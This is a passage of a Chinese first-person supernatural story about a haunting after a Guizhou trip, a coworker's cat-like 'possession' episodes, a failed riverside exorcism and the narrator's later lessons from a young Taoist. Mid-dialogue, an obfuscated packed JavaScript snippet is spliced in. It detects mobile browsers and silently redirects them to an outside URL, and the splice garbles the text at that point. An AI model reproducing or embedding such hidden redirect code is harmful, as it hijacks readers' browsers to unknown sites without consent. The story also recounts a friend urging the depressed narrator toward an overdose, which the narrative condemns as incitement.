一瞬间,我和旁边默默听着的知南都僵在原地,仿佛连血液都凝固了。没有五官的黑影!和鼠鼠在民宿里看到的一模一样!它真的跟来了!房间里明亮的灯光此刻却显得无比惨白,丝毫无法带来暖意,反而让整个房间显得更加阴森。强烈的恐惧如同冰水浇头,彻骨的寒意瞬间蔓延四肢百骸,我浑身僵住,不敢乱动。 心想,今天晚上,注定又是个不眠之夜!我们到底招惹了什么?为什么它要这样死死纠缠着我们?我心里充满了绝望和无助。 果然不出所料,那一晚,我们三个挤在一张大床上,开着所有能开的灯,连卫生间的灯都没关,却依旧无法驱散心头的阴霾。谁也不敢闭眼,生怕一闭上就再也醒不过来,或者看到不该看的东西。我们只能大眼瞪小眼,时不时说两句话壮胆,但更多时候是令人窒息的沉默,眼睁睁看着窗外墨黑的天色一点点褪去,泛白,透亮。每个人的黑眼圈都比前一天更重,眼里的血丝清晰可见,精神疲惫到了极点,可恐惧却让我们无法入睡。 第二天中午,阿诚来接我们去吃饭,看到我们四个(除了精神尚可、只是有点困惑的阿飞)的样子,吓了一跳。我们三个女生简直像被吸走了魂魄,走路都有些飘,尤其是知南,自从换我开车后,她就异常沉默,脸上带着一种明显的、超出寻常疲惫的灰败之气,眼神都有些涣散。 阿诚满脸担忧,为了让我们尽量放松,他提议说白天就在酒店补觉,晚上带我们去个特别热闹的酒吧玩玩,听听音乐喝点酒,彻底转换下心情,也许睡一觉就好了。我们想着晚上反正也睡不着,不如去人多音响大的地方,或许强烈的声光刺激能暂时驱散盘踞在心头的阴霾,便都同意了。只要能远离恐惧,做什么都好。 晚上,阿诚开车来接我们。那家酒吧确实热闹非凡,音乐震耳欲聋,灯光疯狂闪烁,舞池里挤满了随着节奏摇摆的年轻人。置身于这样喧嚣到几乎野蛮的环境里,震动的鼓点敲打着耳膜,炫目的灯光晃得人眼花,我们的精神似乎真的被强行带动了起来,暂时抛开了连日的恐惧,随着音乐轻轻晃动身体,也喝了一点啤酒。阿诚一直陪着我们,说笑打趣,努力营造轻松的氛围。酒精的作用下,加上这喧闹的人气,我紧绷的神经终于稍微放松了一点,心里的恐惧也淡了些。 也许是因为酒精的轻微麻醉,也许是因为极度疲惫后短暂的亢奋,也许仅仅是这喧闹人气的暂时庇护,这一夜,回到酒店后,我们竟然都沉沉睡了过去,没有噩梦,没有惊醒,直到日上三竿。醒来后,感觉僵硬的身体和紧绷的神经都缓解了不少,虽然心底那层阴影还在,但至少表面恢复了些许生气。又在阿诚这里安心休整了一整天后,我们感觉状态稍好,决定告辞,继续原计划前往黄果树瀑布。阿诚把我们送到车上,把那串据说是开了光、泛着淡淡檀木香气的手串郑重地交给了知南,让她戴着,再三叮嘱我们一路务必小心,保持联系。 握着那串温润的手串,知南的脸色稍微好了点。我心里也默默祈祷,希望这串手串真的能起到作用,让我们平安度过接下来的旅程。 告别阿诚,车子驶上前往黄果树的高速公路。窗外的阳光很好,金色的阳光洒在身上暖洋洋的,景色壮丽。依旧由我来开车,或许是因为离开了民宿所在的那片区域,也或许是手腕上那串珠子真的起了心理安慰作用,这一路异常顺利,车轮平稳,心情也渐渐放松。黄果树瀑布的壮观更是不负盛名,轰鸣的水声,漫天飘散的水雾,让人暂时忘却了烦恼,游玩过程也算愉快。看着那奔腾不息的瀑布,我心里暗暗想,也许一切都在变好,那个“东西”已经离开了。 然而,这片祥和并未持续太久。准备回程时,我因白天走动游玩劳累,感觉有些精力不济,注意力难以长时间集中。看了看导航,回去的路还长,为了安全起见,便提出让休息了一路的知南代为驾驶一段,约定好只开到下一个服务区就换手,路程大概只需一小时左右。 知南犹豫了一下,看了看手腕上的珠子,又看了看我们,点了点头。 可是,车子刚一驶离瀑布景区,重新汇入高速公路的车流,我就陷入一种极其诡异而不安的困倦之中。那并非正常的疲乏,而是一种强行被拖入黑暗的窒息感,眼皮沉重得像灌了铅,大脑却异常清醒,充满了恐惧。我靠在后座的椅背上,每每将要睡着,便会在几分钟内浑身冷汗地猛然惊醒——每一个短暂的梦境碎片里,都重复着同样的场景:一辆巨大的、看不清牌照和颜色的重型挂车,像一头沉默的钢铁巨兽,带着明显的恶意从侧后方猛地别向我们脆弱的小轿车,每次都在即将撞上、车身仿佛已经感受到挤压的瞬间把我吓醒! 太真实了!那梦境里的恐惧如此强烈,让我浑身发抖,心脏狂跳不止。这不是普通的噩梦,更像是一种警告! 更令人头皮发麻的是,每次惊醒,我都能清晰地看到中控导航屏幕上预估的剩余时间。明明设定了一小时左右到服务区,可时间一分一秒过去,那个预计到达时间却仿佛凝固了,甚至……偶尔还会往回跳一点。我偷偷看向时速表,指针却每次都稳稳地指着100公里/小时,窗外的景色也在向后飞掠,一切似乎正常,唯有时间感彻底错乱。 这是怎么回事?是我的错觉吗?这是鬼打墙?突然出现的念头让我浑身冰凉。我心中疑窦丛生。我想问知南有没有觉得不对劲,想看看她的状态,却又怕突然出声反而惊吓到她,增加行车危险,也怕是自己多心,徒增大家的心理负担。只能强忍着恐惧,一次次从噩梦中挣扎醒来,看一眼导航,再看一眼窗外仿佛无穷无尽的、似曾相识的路景,每一秒都是煎熬。鼠鼠一直在副驾驶安静地看着书,偶尔抬头看看路,看样子似乎并未察觉这诡异的时间流逝。心想,她怎么一点感觉都没有?难道只有我一个人这样? 这种煎熬不知持续了多久,直到车子终于拐进一个服务区的入口,那股一直缠绕着我的、沉甸甸的阻滞感和困意才像潮水般骤然退去。换回我驾驶之后,后续的路程明显感觉顺畅起来,车窗外的风景流动恢复了正常的节奏,导航上的时间也开始正常递减,最终平安抵达了我们当晚预定的目的地。 停好车,熄了火,车厢里一片寂静。我忍不住打破了沉默,声音还有些干涩:“你们有感觉吗?刚才知南开的那段路,时间……好像不太对劲。” 鼠鼠从书中抬起头,揉了揉眼睛,想了想,有些不确定地说:“我一直在看书,没太注意时间,但好像感觉……回来这一段,是比去的时候花的时间长了不少,因为我的书都快看完了还没有到。” 阿飞则表示自己一直在后座睡觉,什么也没感觉到。 而知南,她低头看着自己手腕上的珠串,声音轻得珠串,声音轻得几乎听不见:“我……我只是觉得那段路特别安静,安静得有点奇怪,好像除了我们的车,没别的车了……导航的声音也断断续续的。” 我们互相看了一眼,谁也没再说话。一种心照不宣的寒意弥漫开来。看来不是我的错觉,那段路确实有问题!我心里暗暗发誓,剩下的路程,无论如何也不敢再让知南碰方向盘了,哪怕我再累,也不能拿大家的生命冒险。 回程的后半段,我们一行人沉默地走走停停,所幸再未出现什么明显的怪事,总算有惊无险地返回了湖南。这趟从一开始就偏离了计划、充满诡异插曲的贵州之旅,才算是彻底画上了一个并不圆满的句号。车子驶入熟悉的城市,看到街道上的车水马龙,我长长舒了口气,眼泪差点掉下来——我们终于安全了。 但一切并未结束。那如影随形的恐惧和无法解释的遭遇,像一根毒刺扎在心里,拔不掉,也忘不掉。归来后,我们几乎片刻未停,径直前往千尘家中求解。她仔细听完了我们琐碎而惊惶的叙述,目光尤其在知南疲惫的脸上停留了很久,然后告诉我们,那是一个在民宿附近游荡的年轻男性阴灵,年纪很轻,未婚便遭横祸,怨气执念都很深。不知为何盯上了知南,甚至动了妄念。途中所遇的“雾气”、宵夜店门口的无面黑影、高速上那漫长的“鬼打墙”般的困局,皆是他纠缠阻挠所为。 尽管这一切都是我们亲身经历、真切感受的恐惧,每一个细节都历历在目,但当时的我,内心深处那属于理性主义者的顽固堡垒,仍觉得千尘的解读过于玄奇,超出了我二十多年认知所能轻易接受的范畴。恐惧是千真万确的,但怀疑也同样根深蒂固。这世上真的有阴灵吗?还是我们集体出现了幻觉? 无可否认的是,这次贵州之行,已在我们四人心中,尤其是知南和我的心里,投下了一道浓重而难以驱散的阴影。它不仅仅是一次失败的旅行,更像是一颗悄然埋下的种子。我们不知道它何时会再次破土,又会将我们对这个世界的认知,引向何方。只是隐约感觉,有些东西,再也回不到从前了…… 4. 伥鬼朋友 贵州那些事儿,像山里的晨雾,被日复一日的平常日子晒得没影儿了。我又回到了满是消毒水味、毛孩子和预约单的现实里。那段颠三倒四的经历,被我们心照不宣地打包塞进了记忆角落,那些光怪陆离的事儿,谁也不轻易提起。 就在这时候,我工作的宠物医院正缺人手。鼠鼠打电话来,声音里透着股小心翼翼的期盼:“楠木姐,你们那儿还招人吗?我想试试。” 我握着手机,眼前晃过她瘦伶伶的身子和总是没什么血色的脸,心里直打鼓。美容助理这活儿,洗猫控狗、安抚受惊的动物的活儿,体力心力都得跟上。我怕她扛不住。 可她一再坚持,声音里那种执拗的恳求,让我没法断然拒绝。最后,我硬着头皮跟老板磨了半天,总算把她塞了进来。她就这样成了我的同事。 我和鼠鼠的缘分,起源于一只毛茸茸的花枝鼠。她从我这儿买了一只当宠物,一来二去就熟了。我总感觉这姑娘身上有种易碎的气质,后来她便告诉我她患有重度抑郁症,现在处于休学期,年纪又比我小,一下子就把我那股爱操心的劲儿勾出来了。我们那时挺投缘,虽然后来她上学我工作,好几年只是网上偶尔问候,但到底没断联系。直到我换了工作地点,离她家更近了,走动才又多了起来。贵州之旅,更是把关系拉近了不少。可隐约间,我觉得她和最初认识时那个怯生生的小姑娘有点不一样了,具体哪不一样,又说不上来,只当是时间久了人都会有一些细微的变化。 她来医院工作后,可能觉得环境熟悉安心了,才跟我交了底。她说病情发展了,现在是双相情感障碍,还有解离性身份障碍——就是常说的“人格分裂”,全靠药撑着才能看起来像个正常人。我听了,心里像被针扎了一下,疼得发紧。觉得她能走出来工作,已经是天大的勇敢了,所以工作上,我更是处处护着她,手把手教,难缠的客户我都挡在前面。私底下,我也慢慢把她拉进我的圈子,介绍千尘、知南还有其他几个朋友给她认识,心想人多热闹点,兴许能照散点她世界里的阴霾。 下班后便常拖着她去钻城里各种有意思的小馆子。但她“不对劲”的时候好像越来越多了。有时候饭吃得好好的,她眼神会突然空掉,变得很陌生,或者说话语气、举止突然换了个人,让我手足无措,我并不太了解解离症具体是什么症状,怕说错一个字就刺激到她。后来我认真的想了想,运动也许能发泄情绪,就带她去我常去的弓箭馆。在那儿,她认识了“狐狸”。狐狸是个喜欢穿汉服玩传统弓的男生,我之前因为同好跟他认识,关系还行。看到鼠鼠和狐狸联系越来越多,我起初还挺高兴,觉得她总算有了自己的圈子。 可谁想到,变故的种子,就在这片我以为的好兆头里,悄悄埋下了。 有一天晚上,临下班的时候鼠鼠跟我说:“楠木,今天狐狸约我去个清吧坐坐,你去不去。”我想闲着也是闲着,于是说:“好的,没问题。”清吧挺安静,我们聊些有的没的,鼠鼠倒是和他们聊的很开心,比平时喝得多点,有些醉意,结束后我不放心她一个人走,便打车送她回家。 上了车,我和她一同坐在后座,起初她安静地靠着车窗。突然,她毫无征兆地转过身,面朝我扑来,我刚好对视上了她的眼睛,刹那间,全身血液好像都冻住了—— 她的眼球猛地向上翻起,眼中尽是眼白!喉咙里发出一种尖厉、凄厉又充满威胁的“哈、哈——”的声音,活脱脱是像猫被激怒时的哈气声,紧接着又是发出了一声尖锐得能划破夜空的,只有猫才会发出的惨叫声! “哎哟我天!”司机师傅吓得一哆嗦,从后视镜里惊恐地看向我们,“她……她这咋回事儿?” 我头皮发麻,心脏狂跳,硬是把冲到喉咙口的惊叫压下去,挤出一句话:“没、没事师傅,我朋友喝多了,不太舒服……” 狭小的车厢里,我和她面对面。那双只剩下眼白的眼睛死死“盯”着我,她的手像猫爪一样蜷起来举在胸前,指甲仿佛要抠进空气里。恐惧像冰凉的藤蔓缠紧我的手脚,但我更怕她突然失控伤到自己或者干扰司机。我强迫自己冷静,用轻柔的声音一遍遍叫她:“鼠鼠?鼠鼠?能听见吗?没事了,快到家了……”同时双手颤抖地摸出手机,飞快给她爸发信息,让他务必到小区门口接。 这让人毛骨悚然的状态,一直持续到车快到她家。就在快要停稳的前一两分钟,她像突然被抽走了那股邪劲儿,眼神恢复了清明,只是带着浓重的醉意,茫然地看着我,好像刚才那恐怖的一幕完全没发生过。我悬着的心才稍微放下一点,直到亲眼看着她爸把她接走,感觉自己像打了一场仗,浑身虚脱。 第二天在医院见到她,我立刻把昨晚车上的事详细说给她听。可鼠鼠脸上只有完全的茫然和无辜:“真的吗?楠木姐?我一点印象都没有了。”她努力回想,“我就记得上车,然后……好像就是我爸接我回去了。”我不死心,问她以前有没有过类似像猫的举动。她犹豫了一下,小声说:“好像……是有朋友跟我说过,我有时候会学猫叫或者做猫的动作,但我自己真的完全不记得。”听到这儿,我还能说什么?只能把这一切归到她那复杂又诡异的病上,压下心里的疑虑,叮嘱她一定按时复查,多休息。 可那晚的出租车事件,像打开了某个不该开的盒子。鼠鼠“变猫”的次数明显多了,甚至蔓延到白天上班的时候。在医院里,她会突然对着空气哈气,发出尖利的猫叫,伸出“爪子”想抓挠什么。这不仅吓到其他同事,也惊扰了来看病的宠物和主人。 老板终于忍不住,私下找我,脸上写满了为难和担忧:“楠木,我知道你和鼠鼠是朋友,也一直照顾她。但这样下去……对医院影响实在不太好。咱们这行,环境和员工稳定对客人很重要。” 我脸上发烫,心里充满抱歉,连连跟老板保证,会找机会跟鼠鼠好好谈谈。 也就在那段时间,我察觉到一个规律。鼠鼠“发病”,好像总是精准地绕着我转。只要我和她单独在一起,或者聚会里有我认识的男性朋友(特别是狐狸在场),她“变猫”的概率就大大增加。反过来,如果是她自己去参加的活动,或者全是女生、我不在场的聚会,她反而没事。一个我不愿细想的念头开始往外冒:她是不是在演?用这种方式来吸引注意,或者……绑住我的关心? 我们之间,那层看不见的隔膜越来越厚。我自问一直把她当亲妹妹护着,直到有一次,狐狸半开玩笑地问她:“楠木姐对你这么好,你们是亲姐妹吧?”我当时就在不远,清清楚楚听到她用一种我从没听过的、冷淡又疏远的语气说:“没有啊,我们就是普通同事。” 那一刻,我的心一下子掉进了冰窟窿里。原来我所有的付出和心疼,在对方那儿,只是一场自作多情的笑话。仔细想想,她好像从没主动给我介绍过她的任何朋友,反而通过我,认识了知南、千尘、狐狸……融进了我的圈子。瞬间,一种说不出的疲惫和失望涌上来,自此便下意识地躲着她,减少不必要的接触。 就在这关系变得如此微妙的当口,狐狸突然来店里找我说:“楠木姐,我家中有事,要离开这个城市了,今天我想请你们吃顿饭当作告别,你把知南姐也一起叫上吧。”我爽快的答应了。 “唉,狐狸你来了。”听到这句话,我们同时回头望去,只见鼠鼠笑容满面的朝我们走来亲昵的对着狐狸说:“你要走了呀?晚上几点吃饭啊?”狐狸愣了一下,随即说:“没错,我要回家了,我等会儿把位置和时间发给你们。” 送别宴上,狐狸带了几个我们不熟的朋友。他特意指了指身边一位男生,向我们介绍:“这位是墨宇,是位修道之人。” 我忍不住好奇地多打量了两眼,这还是我头一回在现实里见到“道士”,他身形清瘦,穿着素净的棉麻衣服,气质出尘,还真有几分像影视剧里那种传统道士的模样。不过他话不多,只是礼貌地冲我们点点头,我们也就没多聊。 就在等菜的工夫,熟悉的戏码又上演了。鼠鼠身体毫无预兆地一僵,眼神开始涣散,喉咙里发出低低的、威胁般的呜呜声,眼看又要“变猫”。桌上其他不了解情况的朋友都愣住了,一脸惊诧。而我,经历了这么多次,加上心里那根刺,第一反应是厌烦和无力,我甚至把头偏开,不想看,觉得这又是一场博关注的表演。 可坐在对面的墨宇,脸色骤然变了。他倏地起身,动作快得惊人,绕过半个桌子,一把扣住鼠鼠的手腕。他手指用一种奇特的方式发力,嘴里低声念着听不清的音节。说也奇怪,在他沉稳的声音和力道下,鼠鼠那快要爆发的狂躁样子,像被什么无形的东西压了下去,慢慢平息了,眼神也恢复正常,只是显得累且困惑。 我把这一切归结于鼠鼠见有陌生人(尤其还是墨宇这种气质特别的男生)关注,就停了“表演”。饭后,我和知南准备走,墨宇却主动叫住了我。 “请稍等,”他的目光沉静,却像能看透人,“那位叫鼠鼠的姑娘,是你朋友?” “算是吧,”我回答得有点保留,“我们一起工作。” “她这种……异常状态,多久了?”他追问。 “大概一个多月。她告诉我说她有解离症。”我回答道。 墨宇摇了摇头,神色凝重:“不对。她周身缠着一股很重的阴秽之气,不是癔症,是被阴物缠上了,而且怨念很深。再不管,恐怕有性命之危,或许,我可以试着帮她化解。” 他的话跟我自小接受的教育冲撞得厉害。我皱起眉,语气也淡了:“这是她自己的事,您得问她本人同意,我不能替她做决定。”说着,我就把刚缓过来的鼠鼠叫过来,让他们自己沟通。墨宇见我态度疏远,不想掺和样子,也没再多说,只是在我离开前,要了我的微信。 回去的路上,我跟知南聊起今晚的事。知南还是那么理性:“我还是不太信这些神神叨叨的。我倒觉得,鼠鼠很享受你之前那种无微不至的照顾,现在你疏远她了,她可能用这种方式重新吸引你注意力,或者说……控制你。不过你今晚没像以前那样立刻去哄她,我倒是有点意外。” 我苦笑着把前段时间,尤其是她说我们只是“普通同事”的事告诉了知南。知南听完,点了点头:“果然。疏远是对的,这种关系不健康。” 事情在两天后急转直下。鼠鼠没来上班,电话不接,信息不回。我正着急想联系她爸,狐狸的消息跳了出来: “楠木姐,出大事了!你知道吗?昨天墨宇帮鼠鼠做法事驱邪了!” 我心里咯噔一下,立刻回:“我不知道!没人告诉我!出什么事了?她今天没来上班是因为这个?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908317|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简直太吓人了!我昨天就在现场。”狐狸的文字都带着惊魂未定的味道。 他接着打来电话告诉我说:昨天,鼠鼠同意墨宇给她做法事,墨宇为了安静,就让我们五六个人去了偏僻的江边。法事刚开始不久,他一念经咒,鼠鼠突然又“变猫”了,但这次她没有攻击人,而是像被什么东西驱赶着,发出凄厉的尖叫,猛地就要往黑沉沉的江里冲!我和我那个一米九的朋友见状,赶紧冲上去死死抱住她,没想到瘦得风都能吹倒鼠鼠,在我们按住她的那一刻爆发出恐怖的力量,我们两个大男人,用尽全力居然按不住她,还被她挣扎着击倒在地,我们两个的胳膊和脸上都被她的“爪子”挠出了密密麻麻的血道子,当时场面混乱不已,我的朋友着急忙慌的报了警,还拨打了急救电话,直到墨宇停止念诵,猛的向前朝着鼠鼠的方向窜了一大步,用特殊的手法扣住了她手腕,她才像断了线的木偶一样瘫软下来。后来警察来了,了解情况后,教育了我们几句,我和我朋友就带着鼠鼠上了救护车去医院处理伤口”。 我握着手机,听着狐狸的描述,感觉震惊、后怕,还很不可思议,觉得怎么能靠一个离奇的原因,就做出伤害鼠鼠的事儿,我无比的恼怒,立刻给墨宇发了微信,质问道:“狐狸跟我说了昨晚的事。这到底怎么回事?怎么弄到要跳江的地步?” 他回得很快,依旧冷静:“情况大致如他所说。但我必须告诉你,这位姑娘招惹的东西,怨气极重,不是寻常游魂,是一只猫的怨灵,执念很深,不肯走,甚至想和她同归于尽。我做法事本意是化解,反而激化了它的凶性。你最好仔细问问她,是不是伤害过一只猫,或者跟猫的死有直接关系?而且……我感觉她身上纠缠的气息,好像不止这一道。” 这话在我听来,更像是骗子行骗失败之后的推脱!火气一下子冲上来,我飞快地打字:“你这个神棍!既然没这个本事,就别轻易揽这种活儿!差点闹出人命你不知道吗?!”发完,余怒未消,直接把他拉黑删除。他从一个有点神秘的道士,彻底变成了不负责任、差点闯大祸的江湖骗子。 下午,鼠鼠才给我发来一条简短的消息说:“我昨天出了点事儿,要请两天假。”我没追问细节,心想等她回来再说。她复工后,我找了个机会,委婉地问起猫的事。她眼神躲闪,含含糊糊,只说以前是养过一只猫,后来不小心……跳楼死了。见她不想多说,我也只好压下满肚子疑问,不再追问。 接下来一个月,鼠鼠还是时不时会“发病”,但频率好像低了一点。然而,她的行为又添了新毛病。她开始频繁地把个人物品带到医院,随便的堆在前台、诊室这些公共地方,整个医院里到处都摊的是她的化妆品、零食、小说。老板看在我的面子上忍了很久,最后实在影响观瞻,才委婉提醒她,希望她把东西整理好或者带回家。 万万没想到,就这么一句合情合理的提醒,让鼠鼠瞬间变了脸。她冷冷地瞥了老板一眼,扔下一句:“我不干了!”然后,头也不回地摔门走了,留下我和老板面面相觑,愣在原地。 老板回过神,有点无措地问我:“楠木,我……我刚才说的话,很过分吗?” 我从震惊里缓过来,心里充满无奈和抱歉,摇了摇头:“不,你说得一点都不过分。对不起老板,人是我介绍来的,给您添了这么多麻烦。她要走……就随她吧。” 从那以后,我和鼠鼠的联系越来越少,从偶尔点赞,到最后彻底断了音信,消失在彼此的生活里。 后来,我把这段经历,尤其是那晚出租车里吓人的细节,还有心里积压的困惑,全都告诉了知南。当我们复盘到关系破裂的终点时,一段几乎被我忘掉的对话,猛地撞进脑子里。 那是几年前,我抑郁症最严重的时候,一度觉得绝望,不想活了的时候。在一种浑浑噩噩的状态下,我曾给她发过一条意思模糊的信息:“药,难吃吗?” 而她当时的回复,清清楚楚刻在记忆里:“多吃点,睡一觉就解脱了。” 这件事,我从没跟任何人提过,甚至在很长一段时间里,我都没觉得这有多严重,可能当时我俩心理状态都不正常。可此刻,联系后来发生的所有事,再想起这句话,一股迟来的、钻心刺骨的寒意瞬间淹没了我。 知南听完,猛地抓住我胳膊,脸色都变了,又气又心疼:“你傻啊!这话能是正常朋友说的吗?这是怂恿!是诱导!我当时要是知道她跟你说过这种话,打死我也不让你再跟她有任何来往!” “伥鬼朋友”。这个词自己跳了出来。传说里被老虎咬死,反过来帮老虎害人,引诱活人去给老虎吃的鬼魂。鼠鼠未必成心害我,但在她那片深不见底的、由病痛和或许还有其他说不清的东西搅成的深渊沼泽里,她无意识地,或者说,她身上那股负面的力量,确实曾把当时同样站在黑暗边缘的我,往更深的深渊里推扯了一把。 我与她这段不算曲折但让人心凉的关系,就如同她拿着一盆掺着冰碴子的冰水,用一根管子灌入我的脊髓中,是如此的刻骨铭心。人和人之间的好,必须是互相的、有来有往的活水。单方面不计回报的付出,到头来只会变成耗干自己的内耗,结果往往是费力不讨好。而我那种过于仗义、少了点审视的性格,也让我在很长一段时间里,忽略了很多本该早点警惕的细节和信号。 5. 再遇墨宇 鼠鼠的风波,如同投入静湖的石子,在荡开几圈复杂的涟漪后,终是沉入了水底,被日常的泥沙缓缓覆盖。生活看似被强行拽回了原有的轨道,消毒水的气味、毛孩子们的呜咽、预约单的窸窣……一切如旧。只是我心里的某处,知道那湖底终究是多了点东西,硌着,不疼,却也无法忽视。 然而,命运的试炼似乎钟情于趁虚而入。紧接着,席卷全球的口罩时期到来,我未能幸免。自幼便不算强健的体质,在此刻更是雪上加霜,如同被狂风骤雨蹂躏过的纤弱植株。肺部感染引发的咳嗽夜以继日,撕扯着胸腔,最折磨人的是味觉与嗅觉的彻底失灵——咖啡只剩下滚烫,饭菜徒留温热或冰凉,世界仿佛被抽走了所有的色彩与层次,只剩一片灰蒙蒙的乏味。频繁往返于医院输液,手臂上密布的针眼最终引发了静脉炎,肿痛难忍。当最凶险的急性症状如潮水般缓慢退去,留给我的却是一具仿佛被彻底掏空了的躯壳,虚弱得令人心惊。在诊所里,仅仅是爬一层楼梯到二楼看诊,我都不得不扶着墙壁,胸口剧烈起伏,喘息声大得自己都感到羞耻。 有一次,我站在洗手间的镜子前,看着里面那个面色苍白、眼圈黢黑、嘴唇缺乏血色的女人,一股巨大的恐慌和无力感如同冰水般兜头浇下。不到三十岁的年纪,这具身体的衰败感,竟让我觉得比家里那位八十高龄、依旧能侍弄花草的外婆还要不堪。一种近乎原始的求生欲在心底尖锐地呐喊:不行,我不能就这样下去!我必须把健康夺回来! 我开始笨拙地规划锻炼计划,但虚软的双腿连快走一段都显得吃力,跑步更是遥不可及的奢望。就在我对着各种健身视频一筹莫展之时,算法仿佛窥见了我内心的渴望,将一个视频推到了我的眼前——已故的张至顺道长正在演示“八部金刚功”。视频里,老道长须发皆白,仙风道骨,动作如行云流水,又似古树盘根,蕴含着某种说不清道不明的韵律。解说称这是传承已久的道家养生功法,能疏通经络,扶助阳气。不知为何,我沉寂的心湖像是被投下了一颗温暖的石子,那股想要学习的渴望,来得如此强烈而真切。 然而,理想丰满,现实却骨感。跟着视频模仿,那些看似简单的动作,细节与转换却玄奥无比。我的肢体本就不算协调,几次尝试下来,不仅浑身别扭,不得要领,那点刚刚燃起的热情也被挫败感浇灭了大半。“三天打鱼,两天晒网”的惰性再次占了上风,学习八部金刚功的计划,被我心虚地搁置在了脑海的某个角落。 就在这停滞不前的当口,千尘的信息如同她一贯的风格,精准而又不容拒绝地跳了出来。 “楠木,还记得之前那个叫墨宇的小道士吗?” 我的心像是被什么东西轻轻撞了一下,指尖在屏幕上停顿了片刻,才回复道:“记得啊,怎么了?我上次……一气之下把他删了。” 字里行间不免带上了几分讪讪之意。 “为什么把他删了啊?”千尘追问,随即又不等我回答,自顾自地说了下去,“我觉得他算八字还挺准的。你最近身体这么差,运气也背到谷底,要不要找他帮你看一下?就当多个思路。” 我握着手机,内心天人交战。删他的事确实是我当时情绪上头,过于冲动鲁莽,但如今要我再厚着脸皮去加回来,那点可怜的自尊心又开始作祟。只好硬着头皮回复:“我不太好意思再加他了,算了吧,熬一熬就过去了。” 千尘却不肯放过我,信息回得飞快:“没事的,我来当这个和事佬。我正好最近也有些心烦事,想找他帮忙做个小的法事安抚一下。你最近实在是惨得我看不下去了,让他一起看看,你要不要和我这个事儿一起解决了?人多说不定还能打个折。” 她半是认真半是玩笑的话语,像是一只温暖的手,推了我一把。话说到这个份上,我再拒绝就显得不识好歹了,而且内心深处,对当前这种无力状态的厌倦,也让我渴望抓住任何一根可能改变现状的稻草。我犹豫着,指尖在屏幕上悬停了许久,最终还是敲下一个字:“好。” 没过多久,千尘的信息再度降临,带着她特有的办事效率:“好啦,我已经把事情跟他说清楚啦。他并没有在意上次的事,还说理解你当时是关心则乱,怕朋友出事。你主动加一下他吧,毕竟上次是你主动删的人家,总要给个台阶下。” “嗯,好吧。”我回道,感觉脸上有点发烫。 放下手机,内心依旧像一团乱麻。加了之后第一句该说什么?郑重其事地道歉?还是装作若无其事地直接切入主题?各种念头在脑海里翻滚、碰撞。最后,我把心一横,学着网上看到的话暗自嘀咕:“算了算了,蒜鸟蒜鸟!走一步看一步!” 深吸一口气,从聊天记录里找到墨宇的微信,点击了那个绿色的“添加好友”按钮。几乎是在发送申请的瞬间,手机便轻轻一震——验证通过了。我盯着那个突然变得活跃起来的对话框,心脏微微收紧,正斟酌着要如何输入第一句道歉和解释的话,对方的名字那栏却突然变成了“对方正在输入…”。 紧接着,一行字跳了出来,简洁,却瞬间抚平了我所有的不安: “没事儿,我知道了,我不介意。” 悬在心口的那块大石,轰然落地。我长长地舒了一口气,指尖都轻快了几分,连忙回复:“实在不好意思啊,上次太冲动了。下次有机会请你吃饭赔罪。” “无妨。”他回得很快,随即切入正题,“我听千尘姐说,你最近运气很差,身体也不太好,是吗?” 这时,我才从他这声“姐”的称呼里后知后觉地意识到,他比我们年龄要小上一些。 对着屏幕打字似乎难以说清最近的混乱,我索性回复:“嗯,情况有点复杂,具体我们打电话聊一下吧,方便吗?” 他很快回复:“可以。” 电话接通后,我靠在诊所二楼的窗边,望着楼下街角那棵叶子快要落光的梧桐树,将这段时间以来的种种不顺——从身体久病不愈、莫名的疲惫感,到工作中遇到的小麻烦、生活中各种磕磕绊绊,像倒豆子一般,尽可能详细地说了出来。电话那端,他安静地听着,偶尔发出一两个表示理解的单音,没有打断,也没有贸然评价。 听完我的叙述,他沉吟了片刻,声音透过听筒传来,带着一种与他年纪不符的沉稳:“情况我大致了解了。这样吧,电话里说不清楚,我找个时间过来当面看看你,我们再详细聊。” 我们约定了时间。那天,他如约来到诊所。再次见面,空气中难免还残留着一丝若有若无的尴尬。他依旧是那副清瘦的模样,穿着简单的棉麻衣服,气质干净,眼神清亮,与周遭充斥着宠物毛发和消毒水气味的环境有些格格不入。 我一时不知该如何寒暄,恰好店里不忙,便引他上了二楼的诊室。“喝点水吧,”我递过一杯温水,在他对面的椅子上坐下,手脚都有些不知该往哪里放。 他接过水杯,道了声谢,却没有喝,而是将目光落在我脸上,仔细端详了片刻。那目光并非无礼,更像是一种专注的审视。过了一会儿,他才开口,语气平和却肯定:“楠木姐,你确实需要好好锻炼,提升一下阳气了。而且,你身上的病气也很重,萦绕不散。” 我惊讶地微微睁大眼睛:“你怎么……” 话一出口,又立刻反应过来,或许是电话里我描述得足够详细,他便得出了这样的结论。于是,那点刚刚升起的神秘感又压了下去,只当是寻常的推断。 “那我该怎么做,才能把身体调理好呢?”我追问,带着病急乱投医的急切。 他放下水杯,看着我,眼中似乎闪过一丝笑意:“不知道你有没有听说过‘八部金刚功’?我会这个,如果你有兴趣,我可以教你。这部功法动作和缓,却能扶阳固本,疏通八脉,比较适合你现在的状况。” “我知道这个!”我几乎要惊呼出声,一种奇妙的巧合感击中了我,“我之前也在跟着视频学,但是总学不好,动作要么做不到位,要么顺序记混。你今天……真的可以教会我吗?” 语气里充满了期待。 “问题不大,”他站起身,在诊室中央的空地站定,“现实里有人带着学,比对着视频摸索要容易得多。我先教你完整的一套流程,你先了解基础的动作和顺序,熟 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他顿了顿,目光扫过我的额头,又补充道,“还有,我提个小建议,你可以试着把额头露出来,多晒晒太阳,尤其是早晨的太阳,这也是增加阳气的一个简单法子。” 我下意识地摸了摸自己厚重的齐刘海——它跟随我二十多年,几乎成了我形象的一部分。露出来?心里不免有些犹豫。但看着他那双认真的眼睛,再想到自己那破败的身体,终于还是点了点头:“好,我试试。” 